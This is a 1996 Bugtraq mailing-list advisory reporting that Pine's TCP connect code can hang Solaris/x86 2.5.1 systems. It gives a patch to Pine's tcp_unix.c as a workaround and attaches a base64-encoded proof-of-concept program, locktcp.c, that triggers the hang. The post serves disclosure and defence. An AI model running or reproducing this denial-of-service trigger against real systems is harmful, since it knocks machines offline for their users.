Bugtraq mailing list archives

Update: Pine causing Solaris/x86 to hang


From: tv () pobox com (Todd Vierling)
Date: Tue, 3 Dec 1996 17:41:26 -0500


  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime () docserver cac washington edu for more info.

---559023410-684387517-849652886=:12663
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.UW2.3.94.961203172839.12663F () seminole iag net>

Attached to this message is a file, 'locktcp.c'.  This program, when run
(sometimes multiple runs are necessary to produce the problem) should hang a
Solaris/x86 2.5.1 machine (and possibly other versions of Solaris/x86). Make
sure you pass the IP address and port of a server that puts up a banner
message, such as POP3 or IMAP, as arguments.

The source of the attached program is undisclosed.  The program is available
through other sources and is therefore considered public.

This program appears to be a hackup of Pine's tcp_unix.c file, the one
affecting Solaris/x86 systems.  A workaround for Pine is available:  apply
the following patch to pine3.95/imap/ANSI/c-client/tcp_unix.c before
building.  (This patch will cause bad error messages when connects fail, but
will avoid the problem until it is patched.)

*** tcp_unix.c.orig     Tue Dec  3 17:33:50 1996
--- tcp_unix.c  Tue Dec  3 17:36:33 1996
***************
*** 195,202 ****
    if (i > 0) {                        /* success, make sure really connected */
      fcntl (sock,F_SETFL,flgs);        /* restore blocking status */
                                /* get socket status */
!     while ((i = read (sock,tmp,0)) < 0 && errno == EINTR);
!     if (!i) i = 1;            /* make success if the read is OK */
    }
    if (i <= 0) {                       /* timeout or error? */
      sprintf (tmp,"Can't connect to %.80s,%d: %s",hostname,port,
--- 195,201 ----
    if (i > 0) {                        /* success, make sure really connected */
      fcntl (sock,F_SETFL,flgs);        /* restore blocking status */
                                /* get socket status */
!     i = 1;
    }
    if (i <= 0) {                       /* timeout or error? */
      sprintf (tmp,"Can't connect to %.80s,%d: %s",hostname,port,

=====
== Todd Vierling (Personal tv () pobox com; Business tv () iag net) Mmmm, donuts ==
== System administrator/technician, Internet Access Group, Orlando Florida ==
== Dialups in Orange, Volusia, Lake, Osceola counties - http://www.iag.net ==

---559023410-684387517-849652886=:12663
Content-Type: TEXT/PLAIN; NAME="locktcp.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.UW2.3.94.961203172636.12663B () seminole iag net>
Content-Description: locktcp.c

LyoNCiAqIFRoZSBmb2xvd2luZyBpcyByYXRoZXIgcmlwcGVkIGZyb20gUGlu
ZSAzLjk1LCBhbmQgY29uZGVuc2VkLg0KICogSXQgc2hvdWxkIGVhc2lseSBm
cmVlemUgYSBTb2xhcmlzL3g4NiAyLjUuMSBzeXN0ZW0sIHRob3VnaCBtYXkg
aGF2ZSB0bw0KICogYmUgcnVuIG1vcmUgdGhhbiBvbmNlIHRvIHByb2R1Y2Ug
dGhlIHByb2JsZW0uDQogKg0KICogQ29tcGlsZSB3aXRoOiBbZ11jYyAtbyBs
b2NrdGNwIGxvY2t0Y3AuYyAtbHNvY2tldCAtbG5zbA0KICoNCiAqIFRocm93
IHRoaXMgYXQgeW91ciBmYXZvcml0ZSBkb3R0ZWQgZGVjaW1hbCBJUCBhbmQg
cG9ydCBvZiBzb21lIHNlcnZlcg0KICogKG5vdCBvbiB0aGUgbG9jYWwgaG9z
dCkgdGhhdCB0aHJvd3MgdXAgYSBiYW5uZXIgbWVzc2FnZS4gaS5lLiBJTUFQ
LA0KICogUE9QMywgRlRQLCBldGMuICBUaGUgcHJvZ3JhbSBkb2Vzbid0IHNl
ZW0gdG8gaGFuZyB0aGUgc3lzdGVtIG9uDQogKiBzZXJ2aWNlcyB0aGF0IGRv
bid0IHRocm93IGEgYmFubmVyIChsaWtlIEhUVFApLg0KICoNCiAqIFVzYWdl
OiBsb2NrdGNwIGlwLWFkZHIgcG9ydA0KICovDQoNCiNpbmNsdWRlIDxzeXMv
dHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+DQojaW5jbHVkZSA8
bmV0aW5ldC9pbi5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8
c3RkaW8uaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNpbmNsdWRlIDxmY250
bC5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQoNCmludCBtYWluKGludCBhcmdj
LCBjaGFyICoqYXJndikgew0KICBpbnQgaSxzb2NrLGZsZ3M7DQogIGNoYXIg
KnM7DQogIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogIGZkX3NldCBmZHM7
DQogIGNoYXIgdG1wWzQwOTZdOw0KICBjaGFyICpob3N0Ow0KICBsb25nIHBv
cnQ7DQoNCiAgaWYgKGFyZ2MgIT0gMykgew0KICAgIGZwcmludGYoc3RkZXJy
LCAiVXNhZ2U6ICVzIGlwLWFkZHIgcG9ydFxuIiwgYXJndlswXSk7DQogICAg
cmV0dXJuIDE7DQogIH0NCiAgaG9zdCA9IGFyZ3ZbMV07DQogIHBvcnQgPSBh
dG9sKGFyZ3ZbMl0pOw0KDQovKioqKiBTZXQgdXAgYWRkcmVzcyBhbmQgb3Bl
biBzb2NrZXQgKioqKi8NCiAgc2luLnNpbl9wb3J0ID0gaHRvbnMgKHBvcnQp
Ow0KICBzaW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyIChob3N0KTsN
CiAgc2luLnNpbl9mYW1pbHkgPSBBRl9JTkVUOwkvKiBmYW1pbHkgaXMgYWx3
YXlzIEludGVybmV0ICovDQogIGlmICgoc29jayA9IHNvY2tldCAoc2luLnNp
bl9mYW1pbHksU09DS19TVFJFQU0sSVBQUk9UT19JUCkpIDwgMCkgew0KICAg
IGZwcmludGYgKHN0ZGVyciwiVW5hYmxlIHRvIGNyZWF0ZSBUQ1Agc29ja2V0
OiAlc1xuIixzdHJlcnJvciAoZXJybm8pKTsNCiAgICByZXR1cm4gMDsNCiAg
fQ0KDQovKioqKiBTZXQgdG8gbm9uLWJsb2NraW5nICoqKiovDQogIGZsZ3Mg
PSBmY250bCAoc29jayxGX0dFVEZMLDApOy8qIGdldCBjdXJyZW50IHNvY2tl
dCBmbGFncyAqLw0KICBmY250bCAoc29jayxGX1NFVEZMLGZsZ3MgfCBPX05E
RUxBWSk7DQoNCi8qKioqIENvbm5lY3QgdG8gaG9zdCAqKioqLw0KICB3aGls
ZSAoKGkgPSBjb25uZWN0IChzb2NrLChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNp
bixzaXplb2YgKHNpbikpKSA8IDAgJiYNCgkgZXJybm8gPT0gRUlOVFIpOw0K
ICBpZiAoaSA8IDApIHN3aXRjaCAoZXJybm8pIHsJLyogZmFpbGVkPyAqLw0K
ICBjYXNlIEVJTlBST0dSRVNTOg0KICBjYXNlIEVJU0NPTk46DQogIGNhc2Ug
RUFERFJJTlVTRToNCiAgICBicmVhazsJCQkvKiB3ZWxsLCBub3QgcmVhbGx5
LCBpdCB3YXMgaW50ZXJydXB0ZWQgKi8NCiAgZGVmYXVsdDoNCiAgICBmcHJp
bnRmIChzdGRlcnIsIkNhbid0IGNvbm5lY3QgdG8gJS44MHMsJWQ6ICVzXG4i
LGhvc3QscG9ydCwNCgkgICAgIHN0cmVycm9yIChlcnJubykpOw0KICAgIGNs
b3NlIChzb2NrKTsJCS8qIGZsdXNoIHNvY2tldCAqLw0KICAgIHJldHVybiAw
Ow0KICB9DQoNCi8qKioqIERvIGJsb2NraW5nIHNlbGVjdCBvbiBub25ibG9j
a2luZyBzb2NrZXQgKioqKi8NCiAgRkRfWkVSTyAoJmZkcyk7CQkvKiBpbml0
aWFsaXplIHNlbGVjdGlvbiB2ZWN0b3IgKi8NCiAgRkRfU0VUIChzb2NrLCZm
ZHMpOwkJLyogYmxvY2sgZm9yIHdyaXRlYWJsZSAqLw0KICB3aGlsZSAoKChp
ID0gc2VsZWN0IChzb2NrKzEsTlVMTCwmZmRzLE5VTEwsTlVMTCkpIDwgMCkg
JiYNCgkgKGVycm5vID09IEVJTlRSKSk7DQoNCi8qKioqIFNldCBiYWNrIHRv
IGJsb2NraW5nIHNvY2tldCAqKioqLw0KICBpZiAoaSA+IDApIHsJCQkvKiBz
dWNjZXNzLCBtYWtlIHN1cmUgcmVhbGx5IGNvbm5lY3RlZCAqLw0KICAgIGZj
bnRsIChzb2NrLEZfU0VURkwsZmxncyk7CS8qIHJlc3RvcmUgYmxvY2tpbmcg
c3RhdHVzICovDQoJCQkJLyogZ2V0IHNvY2tldCBzdGF0dXMgKi8NCiAgICB3
aGlsZSAoKGkgPSByZWFkIChzb2NrLHRtcCwwKSkgPCAwICYmIGVycm5vID09
IEVJTlRSKTsgLyoqKiBYWFgtLUJPT00gKioqLw0KICAgIGlmICghaSkgaSA9
IDE7CQkvKiBtYWtlIHN1Y2Nlc3MgaWYgdGhlIHJlYWQgaXMgT0sgKi8NCiAg
fQkNCiAgaWYgKGkgPD0gMCkgewkJCS8qIHRpbWVvdXQgb3IgZXJyb3I/ICov
DQogICAgZnByaW50ZiAoc3RkZXJyLCJDYW4ndCBjb25uZWN0IHRvICUuODBz
LCVkOiAlc1xuIixob3N0LHBvcnQsDQoJICAgICBzdHJlcnJvciAoaSA/IGVy
cm5vIDogRVRJTUVET1VUKSk7DQogICAgY2xvc2UgKHNvY2spOwkJLyogZmx1
c2ggc29ja2V0ICovDQogIH0NCiAgcmV0dXJuIDA7DQp9DQo=
---559023410-684387517-849652886=:12663--



Current thread: